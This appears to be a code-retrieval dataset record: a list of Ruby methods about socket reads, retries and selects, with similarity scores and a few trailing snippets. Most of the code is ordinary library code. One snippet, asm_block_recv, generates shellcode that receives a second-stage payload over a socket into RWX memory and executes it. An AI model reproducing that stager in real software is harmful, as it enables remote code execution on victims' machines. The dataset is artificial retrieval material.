"def read(length = nil, opts = {})\n synchronize_access {\n begin\n return fd.read_nonblock( length )\n rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK\n return nil if self.close_resource\n # Sleep for a half a second, or until we can read again\n Rex::ThreadSafe.select( [ fd ], nil, nil, 0.5 )\n # Decrement the block size to handle full sendQs better\n retry\n rescue ::IOError, ::Errno::EPIPE\n return nil\n end\n }\n end",
"def with_secondary(&block)\n available_nodes = nodes.select(&:secondary?).shuffle!\n while node = available_nodes.shift\n begin\n return yield(node)\n rescue Errors::ConnectionFailure => e\n next\n end\n end\n raise Errors::ConnectionFailure, \"Could not connect to a secondary node for replica set #{inspect}\"\n end",
"def __read(buffer_length, buffer = nil)\n @io.read_nonblock(buffer_length, buffer)\n rescue Errno::EAGAIN, Errno::EWOULDBLOCK, Errno::EINTR\n Minx.yield\n retry\n end",
"def retry_cluster_restore_retry(opts = {})\n data, _status_code, _headers = retry_cluster_restore_retry_with_http_info(opts)\n return data\n end",
"def selector(sel)\n if block_given?\n open_block(sel)\n yield\n closed_block\n else\n chain(sel)\n end\n self\n end",
"def read(key)\n vault = responsible_clients(key).first\n with_retries { vault.logical.read(wrap_key(key)) }\n end",
"def remote_read\n ops = { RECV_MESSAGE => nil }\n ops[RECV_INITIAL_METADATA] = nil unless @metadata_received\n batch_result = @call.run_batch(ops)\n unless @metadata_received\n @call.metadata = batch_result.metadata\n @metadata_received = true\n end\n get_message_from_batch_result(batch_result)\n rescue GRPC::Core::CallError => e\n GRPC.logger.info(\"remote_read: #{e}\")\n nil\n end",
"def run_internal\n monitors = @monitors\n selector = @selector\n\n while true\n begin\n ready = selector.select @sleep_for\n rescue IOError => e\n Thread.current.purge_interrupt_queue if Thread.current.respond_to? :purge_interrupt_queue\n if monitors.any? { |mon| mon.value.closed? }\n STDERR.puts \"Error in select: #{e.message} (#{e.class})\"\n STDERR.puts e.backtrace\n\n monitors.reject! do |mon|\n if mon.value.closed?\n selector.deregister mon.value\n true\n end\n end\n\n retry\n else\n raise\n end\n end\n\n if ready\n ready.each do |mon|\n if mon.value == @ready\n @mutex.synchronize do\n case @ready.read(1)\n when \"*\"\n @input.each do |c|\n mon = nil\n begin\n begin\n mon = selector.register(c, :r)\n rescue ArgumentError\n # There is a bug where we seem to be registering an already registered\n # client. This code deals with this situation but I wish we didn't have to.\n monitors.delete_if { |submon| submon.value.to_io == c.to_io }\n selector.deregister(c)\n mon = selector.register(c, :r)\n end\n rescue IOError\n # Means that the io is closed, so we should ignore this request\n # entirely\n else\n mon.value = c\n @timeouts << mon if c.timeout_at\n monitors << mon\n end\n end\n @input.clear\n\n @timeouts.sort! { |a,b| a.value.timeout_at <=> b.value.timeout_at }\n calculate_sleep\n when \"c\"\n monitors.reject! do |submon|\n if submon.value == @ready\n false\n else\n submon.value.close\n begin\n selector.deregister submon.value\n rescue IOError\n # nio4r on jruby seems to throw an IOError here if the IO is closed, so\n # we need to swallow it.\n end\n true\n end\n end\n when \"!\"\n return\n end\n end\n else\n c = mon.value\n\n # We have to be sure to remove it from the timeout\n # list or we'll accidentally close the socket when\n # it's in use!\n if c.timeout_at\n @mutex.synchronize do\n @timeouts.delete mon\n end\n end\n\n begin\n if c.try_to_finish\n @app_pool << c\n clear_monitor mon\n end\n\n # Don't report these to the lowlevel_error handler, otherwise\n # will be flooding them with errors when persistent connections\n # are closed.\n rescue ConnectionError\n c.write_error(500)\n c.close\n\n clear_monitor mon\n\n # SSL handshake failure\n rescue MiniSSL::SSLError => e\n @server.lowlevel_error(e, c.env)\n\n ssl_socket = c.io\n begin\n addr = ssl_socket.peeraddr.last\n # EINVAL can happen when browser closes socket w/security exception\n rescue IOError, Errno::EINVAL\n addr = \"<unknown>\"\n end\n\n cert = ssl_socket.peercert\n\n c.close\n clear_monitor mon\n\n @events.ssl_error @server, addr, cert, e\n\n # The client doesn't know HTTP well\n rescue HttpParserError => e\n @server.lowlevel_error(e, c.env)\n\n c.write_error(400)\n c.close\n\n clear_monitor mon\n\n @events.parse_error @server, c.env, e\n rescue StandardError => e\n @server.lowlevel_error(e, c.env)\n\n c.write_error(500)\n c.close\n\n clear_monitor mon\n end\n end\n end\n end\n\n unless @timeouts.empty?\n @mutex.synchronize do\n now = Time.now\n\n while @timeouts.first.value.timeout_at < now\n mon = @timeouts.shift\n c = mon.value\n c.write_error(408) if c.in_data_phase\n c.close\n\n clear_monitor mon\n\n break if @timeouts.empty?\n end\n\n calculate_sleep\n end\n end\n end\n end",
"def with_retries(&block)\n base_sleep_seconds = 0.5\n max_sleep_seconds = 300 # 5 minutes\n\n # Let's do this thing\n attempts = 0\n\n begin\n attempts += 1\n return block.call(attempts)\n\n rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::EHOSTUNREACH,\n Errno::ENETDOWN, Errno::ENETUNREACH, Errno::ETIMEDOUT, Timeout::Error => ex\n\n raise ex if attempts >= 100\n\n # The sleep time is an exponentially-increasing function of base_sleep_seconds.\n # But, it never exceeds max_sleep_seconds.\n sleep_seconds = [base_sleep_seconds * (2 ** (attempts - 1)), max_sleep_seconds].min\n # Randomize to a random value in the range sleep_seconds/2 .. sleep_seconds\n sleep_seconds = sleep_seconds * (0.5 * (1 + rand()))\n # But never sleep less than base_sleep_seconds\n sleep_seconds = [base_sleep_seconds, sleep_seconds].max\n\n warn \"Failed to connect: #{ex}. Retrying in #{sleep_seconds.round(1)} seconds.\"\n\n snooze(sleep_seconds)\n\n retry\n end\n end",
"def poll( current_urls = 0 )\n @last_none_reserved = Time.now if max_reserved_time_s && current_urls == 0\n query = generate_query( current_urls )\n @log.debug { \"Poll query: #{query}\" }\n reader.select_with_retry( query )\n end",
"def __old_receive()\n # The receive may fail so we may need to retry.\n while true\n begin\n used_socket = socket()\n return _receive(used_socket)\n rescue Stomp::Error::MaxReconnectAttempts\n unless slog(:on_miscerr, log_params, \"Reached MaxReconnectAttempts\")\n $stderr.print \"Reached MaxReconnectAttempts\\n\"\n end\n raise\n rescue\n @failure = $!\n raise unless @reliable\n errstr = \"receive failed: #{$!}\"\n unless slog(:on_miscerr, log_params, \"es1_oldrecv: \" + errstr)\n $stderr.print \"\\non_miscerr\\n\"\n $stderr.print log_params.inspect\n $stderr.print \"\\n\"\n $stderr.print \"es2_oldrecv: \" + errstr\n $stderr.print \"\\n\"\n end\n\n # !!! This initiates a re-connect !!!\n _reconn_prep()\n end\n end\n end",
"def select(&block)\n @select = block if block\n @select\n end",
"def mqlread(query, options = {})\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def each_remote_read\n return enum_for(:each_remote_read) unless block_given?\n begin\n loop do\n resp = remote_read\n break if resp.nil? # the last response was received\n yield resp\n end\n ensure\n set_input_stream_done\n end\n end",
"def process_request(request,response,async=false,retries=0,&read_block) \n method = \"a#{request.http_method}\".downcase.to_sym # aget, apost, aput, adelete, ahead\n opts = fetch_request_options(request,method)\n opts[:async] = (async || opts[:async])\n url = fetch_url(request)\n begin\n http_response = fetch_response(url,method,opts,&read_block) \n unless opts[:async]\n response.status = http_response.response_header.status.to_i\n if response.status == 0\n if retries <= status_0_retries.to_i\n process_request(request,response,(retries + 1),&read_block)\n else\n response.network_error = true \n end\n else\n response.headers = fetch_response_headers(http_response)\n response.body = http_response.response\n end\n end\n rescue *AWS::Core::Http::NetHttpHandler::NETWORK_ERRORS\n response.network_error = true \n end\n end",
"def do_select(opts, &block)\n\n skip = opts[:offset] || opts[:skip]\n limit = opts[:limit]\n count = opts[:count]\n\n hwis = fetch_all({})\n hwis = hwis.select(&block)\n\n hwis = hwis[skip..-1] if skip\n hwis = hwis[0, limit] if limit\n\n return hwis.size if count\n\n hwis.collect { |hwi| Ruote::Workitem.new(hwi) }\n end",
"def read_from_socket maxlen\n socket.read_nonblock maxlen\n rescue IO::WaitReadable\n :wait_readable\n end",
"def make_request_with_retries(connection, uri, http_request)\n disable_net_http_persistent_retries(connection)\n # Initialize retry vars:\n connection_retry_count = @data[:options][:connection_retry_count] || 3\n connection_retry_delay = @data[:options][:connection_retry_delay] || 0.5\n retries_performed = 0\n # If block is given - pass there all the chunks of a response and then stop\n # (don't do any parsing, analysis, etc)\n block = @data[:vars][:system][:block]\n begin\n if block\n # Response.body is a Net::ReadAdapter instance - it can't be read as a string.\n # WEB: On its own, Net::HTTP causes response.body to be a Net::ReadAdapter when you make a request with a block\n # that calls read_body on the response.\n connection.request(uri, http_request) do |response|\n # If we are at the point when we have started reading from the remote end\n # then there is no low level retry is allowed. Otherwise we would need to reset the\n # IO pointer, etc.\n connection_retry_count = 0\n if response.is_a?(Net::HTTPSuccess)\n set_http_response(response, :skip_body)\n response.read_body(&block)\n else\n set_http_response(response)\n end\n end\n else\n # Set text response\n response = connection.request(uri, http_request)\n set_http_response(response)\n end\n nil\n rescue => e\n # Parse both error message and error classname; for some errors it's not enough to parse only a message\n custom_error_msg = \"#{e.class.name}: #{e.message}\"\n # Initialize new error with full message including class name, so gw can catch it now\n custom_error = Error.new(custom_error_msg)\n # Fail if it is an unknown error\n fail(custom_error) if !(custom_error_msg[TIMEOUT_ERRORS] || custom_error_msg[OTHER_ERRORS])\n # Fail if it is a Timeout and timeouts are banned\n fail(custom_error) if custom_error_msg[TIMEOUT_ERRORS] && !!@data[:options][:abort_on_timeout]\n # Fail if there are no retries left...\n fail(custom_error) if (connection_retry_count -= 1) < 0\n # ... otherwise sleep a bit and retry.\n retries_performed += 1\n log(\"#{self.class.name}: Performing retry ##{retries_performed} caused by: #{e.class.name}: #{e.message}\")\n sleep(connection_retry_delay) unless connection_retry_delay._blank?\n connection_retry_delay *= 2\n retry\n end\n end",
"def choose_read_pool\n if @secondary_pools.empty?\n @read_pool = @primary_pool\n elsif @secondary_pools.size == 1\n @read_pool = @secondary_pools[0]\n else\n ping_ranges = Array.new(3) { |i| Array.new }\n @secondary_pools.each do |pool|\n case pool.ping_time\n when 0..150\n ping_ranges[0] << pool\n when 150..1000\n ping_ranges[1] << pool\n else\n ping_ranges[2] << pool\n end\n end\n\n for list in ping_ranges do\n break if !list.empty?\n end\n\n @read_pool = list[rand(list.length)]\n end\n end",
"def _read\n return ssl_accept if accept?\n\n super\n rescue OpenSSL::SSL::SSLErrorWaitReadable\n end",
"def read\n\t\tCONNECTION_LOGGER.debug(\"In Accept\")\n\n\t\tbegin\n\t\t\tclient_socket, client_addrinfo = @server_socket.accept_nonblock\n\n\t\t\tCONNECTION_LOGGER.info(\"Accepting connection: #{client_socket}, #{client_addrinfo}\")\n\n\t\t\tchanged\n\t\t\tnotify_observers(Client.new(client_socket))\n\n\t\trescue IO::WaitReadable\n\t\t\tCONNECTION_LOGGER.warn(\"Read failed\")\n\t\trescue EOFError\n\t\t\tCONNECTION_LOGGER.warn(\"Server socket has died\")\n\t\tend\n\tend",
"def recv_nonblock(bytes_to_read, flags = 0)\n fcntl Fcntl::F_SETFL, Fcntl::O_NONBLOCK\n socket_recv bytes_to_read, flags, 0\n rescue Errno::EWOULDBLOCK\n raise Errno::EAGAIN\n end",
"def read\n throw '\"read\" called before \"execute\"' unless @master\n # The result of read operation when pty slave is closed is platform dependent.\n begin\n @master.gets # FreeBSD returns nil.\n rescue Errno::EIO # GNU/Linux raises EIO.\n nil\n end\n end",
"def wait_for(&block)\n Retriable.retriable tries: 15, base_interval: 0.05, max_interval: 1.second do\n raise \"Exceeded max retries while waiting for block to pass\" unless block.call\n end\n end",
"def asm_block_recv(opts={})\n reliable = opts[:reliable]\n asm = %Q^\n recv:\n ; Receive the size of the incoming second stage...\n push 0 ; flags\n push 4 ; length = sizeof( DWORD );\n push esi ; the 4 byte buffer on the stack to hold the second stage length\n push edi ; the saved socket\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}\n call ebp ; recv( s, &dwLength, 4, 0 );\n ^\n\n if reliable\n asm << %Q^\n ; reliability: check to see if the recv worked, and reconnect\n ; if it fails\n cmp eax, 0\n jle cleanup_socket\n ^\n end\n\n asm << %Q^\n ; Alloc a RWX buffer for the second stage\n mov esi, [esi] ; dereference the pointer to the second stage length\n push 0x40 ; PAGE_EXECUTE_READWRITE\n push 0x1000 ; MEM_COMMIT\n push esi ; push the newly recieved second stage length.\n push 0 ; NULL as we dont care where the allocation is.\n push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}\n call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );\n ; Receive the second stage and execute it...\n xchg ebx, eax ; ebx = our new memory address for the new stage\n push ebx ; push the address of the new stage so we can return into it\n\n read_more:\n push 0 ; flags\n push esi ; length\n push ebx ; the current address into our second stage's RWX buffer\n push edi ; the saved socket\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}\n call ebp ; recv( s, buffer, length, 0 );\n ^\n\n if reliable\n asm << %Q^\n ; reliability: check to see if the recv worked, and reconnect\n ; if it fails\n cmp eax, 0\n jge read_successful\n\n ; something failed, free up memory\n pop eax ; get the address of the payload\n push 0x4000 ; dwFreeType (MEM_DECOMMIT)\n push 0 ; dwSize\n push eax ; lpAddress\n push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}\n call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)\n\n cleanup_socket:\n ; clear up the socket\n push edi ; socket handle\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}\n call ebp ; closesocket(socket)\n\n ; restore the stack back to the connection retry count\n pop esi\n pop esi\n dec [esp] ; decrement the counter\n\n ; try again\n jnz create_socket\n jmp failure\n ^\n end\n\n asm << %Q^\n read_successful:\n add ebx, eax ; buffer += bytes_received\n sub esi, eax ; length -= bytes_received, will set flags\n jnz read_more ; continue if we have more to read\n ret ; return into the second stage\n ^\n\n if opts[:exitfunk]\n asm << asm_exitfunk(opts)\n end\n\n asm\n end",
"def select\n execute_only(:select)\n end",
"def select(&block); end",
"def wait_for_data(timeout)\n return if timeout == -1\n\n ready = false\n begin\n ready = IO.select([self], nil, [self], timeout)\n rescue IOError => exception\n logger.warn \"#read Connection failure while waiting for data: #{exception.class}: #{exception.message}\"\n close if close_on_error\n raise Net::TCPClient::ConnectionFailure.new(\"#{exception.class}: #{exception.message}\", address.to_s, exception)\n rescue Exception\n # Close the connection on any other exception since the connection\n # will now be in an inconsistent state\n close if close_on_error\n raise\n end\n\n unless ready\n close if close_on_error\n logger.warn \"#read Timeout after #{timeout} seconds\"\n raise Net::TCPClient::ReadTimeout.new(\"Timedout after #{timeout} seconds trying to read from #{address}\")\n end\n end",
"def read_all\n return enum_for :read_all unless block_given?\n\n loop do\n yield read\n rescue EOFError\n break\n end\n self\n end",
"def non_blocking_gets\n loop do\n result, _, _ = IO.select( [@socket], nil, nil, 0.2 )\n next unless result\n return result[0].gets\n end\n end",
"def retry_command\n (0..RETRY_COUNT).each do\n begin\n out = yield\n rescue Puppet::ExecutionFailure => e\n Puppet.debug \"Command failed: #{e.message}\"\n sleep RETRY_STEP\n else\n return out\n end\n end\n Puppet.debug get_cluster_debug_report if is_online?\n fail \"Execution timeout after #{RETRY_COUNT * RETRY_STEP} seconds!\"\n end",
"def nro_write_with_retry(session, write_concern, &block)\n if session && session.client.options[:retry_writes]\n server = select_server(cluster, ServerSelector.primary, session)\n yield server\n else\n legacy_write_with_retry(nil, session, &block)\n end\n end",
"def select!(&block); end",
"def get(timeout = nil, ltimeout = def_read_loop_timeout, opts = {})\n # For those people who are used to being able to use a negative timeout!\n if (timeout and timeout.to_i < 0)\n timeout = nil\n end\n\n # No data in the first place? bust.\n if (has_read_data?(timeout) == false)\n return nil\n end\n\n buf = \"\"\n lps = 0\n eof = false\n\n # Keep looping until there is no more data to be gotten..\n while (has_read_data?(ltimeout) == true)\n # Catch EOF errors so that we can handle them properly.\n begin\n temp = read(def_block_size)\n rescue EOFError\n eof = true\n end\n\n # If we read zero bytes and we had data, then we've hit EOF\n if (temp and temp.length == 0)\n eof = true\n end\n\n # If we reached EOF and there are no bytes in the buffer we've been\n # reading into, then throw an EOF error.\n if (eof)\n # If we've already read at least some data, then it's time to\n # break out and let it be processed before throwing an EOFError.\n if (buf.length > 0)\n break\n else\n raise EOFError\n end\n end\n\n break if (temp == nil or temp.empty? == true)\n\n buf += temp\n lps += 1\n\n break if (lps >= def_max_loops)\n end\n\n # Return the entire buffer we read in\n return buf\n end",
"def read_one_nonblock\n synchronize {\n read_many_nonblock.slice!(0)\n }\n end",
"def get(which = :converted, &block)\n unless error?\n RestClient.get(send(which), &block)\n end\n end",
"def query(str, &block)\n check_connection\n @fields = nil\n begin\n nfields = @protocol.query_command str\n if nfields\n @fields = @protocol.retr_fields nfields\n @result_exist = true\n else\n @affected_rows, @insert_id, @server_status, @warning_count, @info =\n @protocol.affected_rows, @protocol.insert_id, @protocol.server_status, @protocol.warning_count, @protocol.message\n end\n if block\n while true\n block.call store_result if @fields\n break unless next_result\n end\n return self\n end\n if @query_with_result\n return @fields ? store_result : nil\n else\n return self\n end\n rescue ServerError => e\n @last_error = e\n @sqlstate = e.sqlstate\n raise\n end\n end",
"def read_loop\n loop do\n msg = connection.read_msg\n msg.received_at = Time.now\n handle(msg)\n end\n rescue StandardError => e\n self << [:raise_error, e]\n end",
"def command(selector, opts={})\n check_response = opts.fetch(:check_response, true)\n socket = opts[:socket]\n raise MongoArgumentError, \"Command must be given a selector\" unless selector.is_a?(Hash) && !selector.empty?\n\n if selector.keys.length > 1 && RUBY_VERSION < '1.9' && selector.class != BSON::OrderedHash\n raise MongoArgumentError, \"DB#command requires an OrderedHash when hash contains multiple keys\"\n end\n\n if read_pref = opts[:read]\n Mongo::ReadPreference::validate(read_pref)\n unless read_pref == :primary || Mongo::Support::secondary_ok?(selector)\n raise MongoArgumentError, \"Command is not supported on secondaries: #{selector.keys.first}\"\n end\n end\n\n begin\n result = Cursor.new(\n system_command_collection,\n :limit => -1,\n :selector => selector,\n :socket => socket,\n :read => read_pref,\n :comment => opts[:comment]).next_document\n rescue OperationFailure => ex\n raise OperationFailure, \"Database command '#{selector.keys.first}' failed: #{ex.message}\"\n end\n\n raise OperationFailure,\n \"Database command '#{selector.keys.first}' failed: returned null.\" unless result\n\n if check_response && !ok?(result)\n message = \"Database command '#{selector.keys.first}' failed: (\"\n message << result.map do |key, value|\n \"#{key}: '#{value}'\"\n end.join('; ')\n message << ').'\n code = result['code'] || result['assertionCode']\n raise OperationFailure.new(message, code, result)\n end\n\n result\n end",
"def non_blocking_gets\n loop do\n result, _, _ = IO.select([@socket], nil, nil, 0.2)\n next unless result\n return result[0].gets\n end\n end",
"def method_missing selector, *arguments\n raise ArgumentError, \"block given\" if block_given?\n _log { \"method_missing #{selector.inspect} #{arguments.inspect}\" }\n request = Request.new(receiver, selector, arguments)\n result = transport.send_request(request)\n result\n end",
"def read_fully(count, timeout = nil)\n value = ''\n\n begin\n loop do\n value << read_nonblock(count - value.bytesize)\n break if value.bytesize >= count\n end\n rescue EOFError\n # JRuby specific fix via https://github.com/jruby/jruby/issues/1694#issuecomment-54873532\n IO.select([self], nil, nil, timeout)\n retry\n rescue *READ_RETRY_EXCEPTION_CLASSES\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n end\n\n value\n end",
"def recv_msg(&block)\n return unless readable?\n\n # In order to get EM::XS::Connection#notify_readable called again by EM,\n # we need to receive strings until #recv_strings fails.\n loop do\n rc = @sock.recv_strings(strings = [], ::XS::NonBlocking)\n break unless ::XS::Util.resultcode_ok? rc\n\n if block_given?\n yield strings\n elsif @handler\n @handler.on_recv strings\n end\n end\n end",
"def readpartial(size)\n rescue_readable do\n socket.read_nonblock(size)\n end\n end",
"def socket_read(socket, bytes, until_blocked=false)\n case socket\n when TCPSocket\n socket.recv(bytes)\n when OpenSSL::SSL::SSLSocket\n ssl_socket_read(socket, bytes)\n else\n raise ArgumentError.new(\"Unexpected socket type: #{socket.inspect}\")\n end\n end",
"def block_read_access(address, block_data = [], options = {})\n block_write_access(address, block_data, options.merge(write: false))\n end",
"def direct_query q, retries = 6\n begin\n settings.db.query q\n rescue\n next_retries = retries - 1\n if next_retries == 0\n raise\n else\n log.warn \"Could not execute raw query (attempt #{6 - next_retries}): #{q}\"\n timeout = (6 - next_retries) ** 2\n sleep timeout\n direct_query query_string, next_retries\n end\n end\nend",
"def with_failover #:nodoc:\n end_time = Time.now.to_i + @config.redis_failover_timeout.to_i\n begin\n yield\n rescue Exception => e\n Beetle::reraise_expectation_errors!\n logger.error \"Beetle: redis connection error #{e} #{@config.redis_server} (#{e.backtrace[0]})\"\n if Time.now.to_i < end_time\n sleep 1\n logger.info \"Beetle: retrying redis operation\"\n retry\n else\n raise NoRedisMaster.new(e.to_s)\n end\n end\n end",
"def consistent\n query\n @options[:consistent_read] = true\n self\n end",
"def with_retry(retries: 3)\n retries = 0 if retries.nil? || retries.negative?\n\n 0.upto(retries) do |n|\n attempt(n, retries) do\n return yield self\n end\n end\n end",
"def recv_peer_results transaction: raise, table: raise, read_results: raise\n ex = ex_for_txn[transaction]\n if ex\n result = ex.recv_remote_reads table, read_results\n if result\n finish_transaction transaction, result\n handle_next_transactions\n end\n else\n ## TODO what if transaction hasn't started yet? Buffer? This won't\n ## happen with our simplistic latency assumptions.\n # The transaction has already finished locally, but another\n # node is still sending out read results.\n end\n end",
"def selector(&block)\n @selector = block if block_given?\n @selector\n end",
"def connect(&block)\n sock = TCPSocket.new @host, @port\n while true\n ready = IO.select([sock], nil, nil, nil)\n if ready != nil\n then readable = ready[0]\n else\n return\n end\n\n readable.each do |socket|\n begin\n if socket == sock\n data = sock.recv_nonblock(1024).chomp\n if block_given?\n yield data\n else\n puts data\n end\n end\n rescue IO::WaitReadable\n retry\n end\n end\n\n end\n end",
"def read maxlen = DEFAULT_MAXLEN\n main = Thread.current\n @reader = Thread.new do\n @read_gate.block!\n begin\n _read maxlen\n rescue => e\n main.raise e\n end\n end\n end",
"def send_queries_to_slave(slave, method, *args, &block)\n using_shard(slave) do\n val = select_connection.send(method, *args, &block)\n if val.instance_of? ActiveRecord::Result\n val.current_shard = slave\n end\n val\n end\n end",
"def read(n)\n r = pop(n)\n needs = n - r.length\n\n if needs > 0 && !@secondary.closed?\n sec = \"\"\n\n begin\n protect do\n sec = @secondary.readpartial(needs)\n end\n rescue EOFError\n close\n end\n\n r << (sec || \"\")\n\n # Finally, if there's nothing at all returned then this is bad.\n if r.length == 0\n raise HTTPClientError, \"Server returned empty response.\"\n end\n end\n\n reset\n return r\n end"
] | [
"0.7606874",
"0.7516937",
"0.7469495",
"0.70588434",
"0.6869285",
"0.6843921",
"0.5708621",
"0.56916887",
"0.55448127",
"0.5526731",
"0.5522171",
"0.552151",
"0.53208464",
"0.5317746",
"0.52924037",
"0.5275784",
"0.5245559",
"0.5212862",
"0.5204242",
"0.5203501",
"0.5188061",
"0.5145833",
"0.5134565",
"0.50849223",
"0.496806",
"0.49624982",
"0.49570605",
"0.49460283",
"0.49086416",
"0.48775053",
"0.48653263",
"0.48552227",
"0.48325098",
"0.48314428",
"0.4817608",
"0.47762865",
"0.47757295",
"0.47540295",
"0.47513744",
"0.47495815",
"0.4740815",
"0.4738507",
"0.46941406",
"0.46874684",
"0.46792504",
"0.4672157",
"0.46482277",
"0.46436584",
"0.45953467",
"0.45823786",
"0.45787823",
"0.45739982",
"0.45674834",
"0.4561562",
"0.45608434",
"0.45588022",
"0.45563075",
"0.4550587",
"0.45496082",
"0.45260143",
"0.45250535",
"0.45009878",
"0.4497608",
"0.44938394",
"0.44911158",
"0.44731617",
"0.44728798",
"0.44690618",
"0.44655976",
"0.44650957",
"0.44643623",
"0.44614002",
"0.4442575",
"0.4441391",
"0.44386426",
"0.44339755",
"0.44321686",
"0.44231194",
"0.44158715",
"0.44129485",
"0.44122332",
"0.440753",
"0.440339",
"0.43999392",
"0.43904448",
"0.43875223",
"0.43806222",
"0.43689013",
"0.43680483",
"0.43676612",
"0.43652153",
"0.43606547",
"0.4357293",
"0.43524474",
"0.434539",
"0.43444532",
"0.43426594",
"0.4339847",
"0.43342164",
"0.43335572"
] | 0.8007451 | 0 |
Execute a read operation with a single retry on network errors. This method is used by the driver for some of the internal housekeeping operations. Applicationrequested reads should use read_with_retry rather than this method. | def read_with_one_retry(options = nil)
yield
rescue Error::SocketError, Error::SocketTimeoutError => e
retry_message = options && options[:retry_message]
log_retry(e, message: retry_message)
yield
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_with_one_retry(options = nil)\n yield\n rescue *retryable_exceptions, Error::PoolError => e\n raise e unless e.write_retryable?\n\n retry_message = options && options[:retry_message]\n log_retry(e, message: retry_message)\n yield\n end",
"def retry_read(original_error, session, server_selector, failed_server: nil, &block)\n begin\n server = select_server(cluster, server_selector, session, failed_server)\n rescue Error, Error::AuthError => e\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n \n log_retry(original_error, message: 'Read retry')\n \n begin\n yield server, true\n rescue *retryable_exceptions => e\n e.add_notes('modern retry', 'attempt 2')\n raise e\n rescue Error::OperationFailure, Error::PoolError => e\n e.add_note('modern retry')\n unless e.write_retryable?\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n e.add_note(\"attempt 2\")\n raise e\n rescue Error, Error::AuthError => e\n e.add_note('modern retry')\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n end",
"def legacy_read_with_retry(session, server_selector, &block)\n attempt = attempt ? attempt + 1 : 1\n yield select_server(cluster, server_selector, session)\n rescue *retryable_exceptions, Error::OperationFailure, Error::PoolError => e\n e.add_notes('legacy retry', \"attempt #{attempt}\")\n \n if is_retryable_exception?(e)\n raise e if attempt > client.max_read_retries || session&.in_transaction?\n elsif e.retryable? && !session&.in_transaction?\n raise e if attempt > client.max_read_retries\n else\n raise e\n end\n \n log_retry(e, message: 'Legacy read retry')\n sleep(client.read_retry_interval) unless is_retryable_exception?(e)\n retry\n end",
"def read_with_retry(session = nil, server_selector = nil, &block)\n if session.nil? && server_selector.nil?\n deprecated_legacy_read_with_retry(&block)\n elsif session&.retry_reads?\n modern_read_with_retry(session, server_selector, &block)\n elsif client.max_read_retries > 0\n legacy_read_with_retry(session, server_selector, &block)\n else\n read_without_retry(session, server_selector, &block)\n end\n end",
"def modern_read_with_retry(session, server_selector, &block)\n server = select_server(cluster, server_selector, session)\n yield server\n rescue *retryable_exceptions, Error::OperationFailure, Auth::Unauthorized, Error::PoolError => e\n e.add_notes('modern retry', 'attempt 1')\n raise e if session.in_transaction?\n raise e if !is_retryable_exception?(e) && !e.write_retryable?\n retry_read(e, session, server_selector, failed_server: server, &block)\n end",
"def retry_reads?\n client.options[:retry_reads] != false\n end",
"def deprecated_legacy_read_with_retry(&block)\n deprecation_warning :read_with_retry,\n 'Legacy read_with_retry invocation - ' \\\n 'please update the application and/or its dependencies'\n\n # Since we don't have a session, we cannot use the modern read retries.\n # And we need to select a server but we don't have a server selector.\n # Use PrimaryPreferred which will work as long as there is a data\n # bearing node in the cluster; the block may select a different server\n # which is fine.\n server_selector = ServerSelector.get(mode: :primary_preferred)\n legacy_read_with_retry(nil, server_selector, &block)\n end",
"def retry_request(is_read_only = false)\n attempts = 0\n begin\n yield\n rescue OpenSSL::SSL::SSLError => e\n raise e unless @enable_retry\n # These errors pertain to the SSL handshake. Since no data has been\n # exchanged its always safe to retry\n raise e if attempts >= @max_attempts\n attempts += 1\n retry\n rescue Errno::ECONNRESET, RestClient::ServerBrokeConnection, RestClient::RequestTimeout => e\n raise e unless @enable_retry\n # Packetloss related.\n # There are two timeouts on the ssl negotiation and data read with different\n # times. Unfortunately the standard timeout class is used for both and the\n # exceptions are caught and reraised so you can't distinguish between them.\n # Unfortunate since ssl negotiation timeouts should always be retryable\n # whereas data may not.\n if is_read_only\n raise e if attempts >= @max_attempts\n attempts += 1\n retry\n else\n raise e\n end\n rescue ApiError => e\n if re_login?(e)\n # Session is expired or invalid\n login()\n retry\n else\n raise e\n end\n end\n end",
"def read_retry_interval\n options[:read_retry_interval] || Cluster::READ_RETRY_INTERVAL\n end",
"def retry_read_events_forward(stream_name, start, count, poll = 0, max_retries: 0)\n retrying_on_network_failures(max_retries) do\n safe_read_events(stream_name, start, count, poll)\n end\n end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue Java::JavaSql::SQLException => e\n raise unless /^(Closed Connection|Io exception:|No more data to read from socket|IO Error:)/.match?(e.message)\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def retry_request(http, *args)\n 5.times do\n begin\n return http.send(:send_request, *args)\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n Chef::Log.debug('couchdb connection failed')\n end\n sleep 1\n end\n Chef::Log.debug('failed to connect to couchdb after 5 tries ... failing chef run')\n fail 'unable to connect to couchdb'\n end",
